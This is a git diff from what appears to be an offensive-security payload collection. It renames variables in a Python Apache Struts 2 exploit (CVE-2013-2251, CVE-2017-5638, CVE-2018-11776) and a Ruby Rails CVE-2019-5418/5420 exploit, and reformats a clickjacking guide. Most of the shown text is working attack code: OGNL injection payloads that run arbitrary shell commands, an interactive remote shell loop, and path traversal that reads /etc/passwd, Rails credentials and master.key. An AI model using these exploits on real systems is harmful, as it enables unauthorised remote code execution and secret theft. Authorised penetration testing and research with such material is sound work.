diff --git a/CVE Exploits/Apache Struts 2 CVE-2013-2251 CVE-2017-5638 CVE-2018-11776_.py b/CVE Exploits/Apache Struts 2 CVE-2013-2251 CVE-2017-5638 CVE-2018-11776_.py index 6ef635d..eeded2a 100644 --- a/CVE Exploits/Apache Struts 2 CVE-2013-2251 CVE-2017-5638 CVE-2018-11776_.py +++ b/CVE Exploits/Apache Struts 2 CVE-2013-2251 CVE-2017-5638 CVE-2018-11776_.py @@ -47,23 +47,23 @@ if len(host) > 0: poc = "?redirect:${%23w%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29.getWriter%28%29,%23w.println%28%27mamalo%27%29,%23w.flush%28%29,%23w.close%28%29}" - def exploit(commando): - exploit = "?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{"+commando+"}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}" + def exploit(comando): + exploit = "?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{"+comando+"}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}" return exploit - def exploit2(commando): - exploit2 = "Content-Type:%{(+++#_='multipart/form-data').(+++#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(+++#_memberAccess?(+++#_memberAccess=#dm):((+++#container=#context['com.opensymphony.xwork2.ActionContext.container']).(+++#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(+++#ognlUtil.getExcludedPackageNames().clear()).(+++#ognlUtil.getExcludedClasses().clear()).(+++#context.setMemberAccess(+++#dm)))).(+++#shell='"+str(commando)+"').(+++#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(+++#shells=(+++#iswin?{'cmd.exe','/c',#shell}:{'/bin/sh','-c',#shell})).(+++#p=new java.lang.ProcessBuilder(+++#shells)).(+++#p.redirectErrorStream(true)).(+++#process=#p.start()).(+++#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(+++#process.getInputStream(),#ros)).(+++#ros.flush())}" + def exploit2(comando): + exploit2 = "Content-Type:%{(+++#_='multipart/form-data').(+++#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(+++#_memberAccess?(+++#_memberAccess=#dm):((+++#container=#context['com.opensymphony.xwork2.ActionContext.container']).(+++#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(+++#ognlUtil.getExcludedPackageNames().clear()).(+++#ognlUtil.getExcludedClasses().clear()).(+++#context.setMemberAccess(+++#dm)))).(+++#shell='"+str(comando)+"').(+++#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(+++#shells=(+++#iswin?{'cmd.exe','/c',#shell}:{'/bin/sh','-c',#shell})).(+++#p=new java.lang.ProcessBuilder(+++#shells)).(+++#p.redirectErrorStream(true)).(+++#process=#p.start()).(+++#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(+++#process.getInputStream(),#ros)).(+++#ros.flush())}" return exploit2 - def exploit3(commando): - exploit3 = "%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27"+commando+"%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D" + def exploit3(comando): + exploit3 = "%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27"+comando+"%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D" return exploit3 def pwnd(shellfile): exploitfile = "?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{"+shellfile+"}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}" return exploitfile - def validator(): + def validador(): arr_lin_win = ["file%20/etc/passwd","dir","net%20users","id","/sbin/ifconfig","cat%20/etc/passwd"] return arr_lin_win @@ -101,10 +101,10 @@ if len(host) > 0: while 1: separador = input(GREEN+"Struts2@Shell_1:$ "+ENDC) espacio = separador.split(' ') - commando = "','".join(espacio) + comando = "','".join(espacio) if espacio[0] != 'reverse' and espacio[0] != 'pwnd': - shell = urllib.request.urlopen(host+exploit("'"+str(commando)+"'")) + shell = urllib.request.urlopen(host+exploit("'"+str(comando)+"'")) print("\n"+shell.read()) elif espacio[0] == 'pwnd': pathsave=input("path EJ:/tmp/: ") @@ -122,8 +122,8 @@ if len(host) > 0: print(BLUE+" [-] NO VULNERABLE"+ENDC) print(BOLD+" [+] EJECUTANDO EXPLOIT CVE-2017-5638"+ENDC) x = 0 - while x < len(validator()): - valida = validator()[x] + while x < len(validador()): + valida = validador()[x] try: req = urllib.request.Request(host, None, {'User-Agent': 'Mozilla/5.0', 'Content-Type': exploit2(str(valida))}) @@ -149,7 +149,7 @@ if len(host) > 0: except: exit(0) else: - x = len(validator()) + x = len(validador()) else: print(BLUE+" [-] NO VULNERABLE "+ENDC + "Payload: " + str(x)) except: @@ -160,7 +160,7 @@ if len(host) > 0: print(BLUE+" [-] NO VULNERABLE"+ENDC) print(BOLD+" [+] EJECUTANDO EXPLOIT CVE-2018-11776"+ENDC) x = 0 - while x < len(validator()): + while x < len(validador()): #Filtramos la url solo dominio url = host.replace('#', '%23') url = host.replace(' ', '%20') @@ -174,7 +174,7 @@ if len(host) > 0: if (file_path == ''): file_path = '/' - valida = validator()[x] + valida = validador()[x] try: result = requests.get(site+"/"+exploit3(str(valida))+file_path).text @@ -194,13 +194,13 @@ if len(host) > 0: while 1: separador = input(GREEN+"Struts2@Shell_3:$ "+ENDC) espacio = separador.split(' ') - commando = "%20".join(espacio) + comando = "%20".join(espacio) - shell = urllib.request.urlopen(host+exploit3(str(commando))) + shell = urllib.request.urlopen(host+exploit3(str(comando))) print("\n"+shell.read()) else: - x = len(validator()) + x = len(validador()) exit(0) else: print(BLUE+" [-] NO VULNERABLE "+ENDC + "Payload: " + str(x)) diff --git a/CVE Exploits/Rails CVE-2019-5420.rb b/CVE Exploits/Rails CVE-2019-5420.rb index 1823f82..647f03f 100644 --- a/CVE Exploits/Rails CVE-2019-5420.rb +++ b/CVE Exploits/Rails CVE-2019-5420.rb @@ -7,12 +7,12 @@ $proxy_addr = '127.0.0.1' $proxy_port = 8080 $remote = "http://172.18.0.3:3000" -$resource = "/demo" +$ressource = "/demo" puts "\nRails exploit CVE-2019-5418 + CVE-2019-5420 = RCE\n\n" print "[+] Checking if vulnerable to CVE-2019-5418 => " -uri = URI($remote + $resource) +uri = URI($remote + $ressource) req = Net::HTTP::Get.new(uri) req['Accept'] = "../../../../../../../../../../etc/passwd{{" res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http| @@ -28,7 +28,7 @@ end print "[+] Getting file => credentials.yml.enc => " path = "../../../../../../../../../../config/credentials.yml.enc{{" for $i in 0..9 - uri = URI($remote + $resource) + uri = URI($remote + $ressource) req = Net::HTTP::Get.new(uri) req['Accept'] = path[3..57] res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http| @@ -46,7 +46,7 @@ end print "[+] Getting file => master.key => " path = "../../../../../../../../../../config/master.key{{" for $i in 0..9 - uri = URI($remote + $resource) + uri = URI($remote + $ressource) req = Net::HTTP::Get.new(uri) req['Accept'] = path[3..57] res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http| @@ -133,7 +133,7 @@ loop do if input == "R" print "[+] Getting result of command => " - uri = URI($remote + $resource) + uri = URI($remote + $ressource) req = Net::HTTP::Get.new(uri) req['Accept'] = "../../../../../../../../../../tmp/result.txt{{" res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http| diff --git a/Clickjacking/README.md b/Clickjacking/README.md index a77c4a8..d6afb01 100644 --- a/Clickjacking/README.md +++ b/Clickjacking/README.md @@ -6,157 +6,190 @@ > that a normal user can do on a legitimate website can be done using clickjacking. ## Summary -* [Tools](#tools) -* [Methodology](#methodology) - * [UI Redressing](#ui-redressing) - * [Invisible Frames](#invisible-frames) - * [Button/Form Hijacking](#buttonform-hijacking) - * [Execution Methods](#execution-methods) -* [Preventive Measures](#preventive-measures) - * [Implement X-Frame-Options Header](#implement-x-frame-options-header) - * [Content Security Policy (CSP)](#content-security-policy-csp) - * [Disabling JavaScript](#disabling-javascript) -* [OnBeforeUnload Event](#onbeforeunload-event) -* [XSS Filter](#xss-filter) - * [IE8 XSS filter](#ie8-xss-filter) - * [Chrome 4.0 XSSAuditor filter](#chrome-40-xssauditor-filter) -* [Challenge](#challenge) -* [Practice Environments](#practice-environments) -* [Reference](#references) + +- [Tools](#tools) +- [Methodology](#methodology) + - [UI Redressing](#ui-redressing) + - [Invisible Frames](#invisible-frames) + - [Button/Form Hijacking](#buttonform-hijacking) + - [Execution Methods](#execution-methods) +- [Preventive Measures](#preventive-measures) + - [Implement X-Frame-Options Header](#implement-x-frame-options-header) + - [Content Security Policy (CSP)](#content-security-policy-csp) + - [Disabling JavaScript](#disabling-javascript) +- [OnBeforeUnload Event](#onbeforeunload-event) +- [XSS Filter](#xss-filter) + - [IE8 XSS filter](#ie8-xss-filter) + - [Chrome 4.0 XSSAuditor filter](#chrome-40-xssauditor-filter) +- [Challenge](#challenge) +- [Practice Environments](#practice-environments) +- [Reference](#references) ## Tools -* [Burp Suite](https://portswigger.net/burp) -* [OWASP ZAP](https://github.com/zaproxy/zaproxy) -* [Clickjack](https://github.com/machine1337/clickjack) + +- [Burp Suite](https://portswigger.net/burp) +- [OWASP ZAP](https://github.com/zaproxy/zaproxy) +- [Clickjack](https://github.com/machine1337/clickjack) ## Methodology ### UI Redressing -UI Redressing is a Clickjacking technique where an attacker overlays a transparent UI element on top of a legitimate website or application. -The transparent UI element contains malicious content or actions that are visually hidden from the user. By manipulating the transparency and positioning of elements, + +UI Redressing is a Clickjacking technique where an attacker overlays a transparent UI element on top of a legitimate website or application. +The transparent UI element contains malicious content or actions that are visually hidden from the user. By manipulating the transparency and positioning of elements, the attacker can trick the user into interacting with the hidden content, believing they are interacting with the visible interface. -* **How UI Redressing Works:** - * Overlaying Transparent Element: The attacker creates a transparent HTML element (usually a `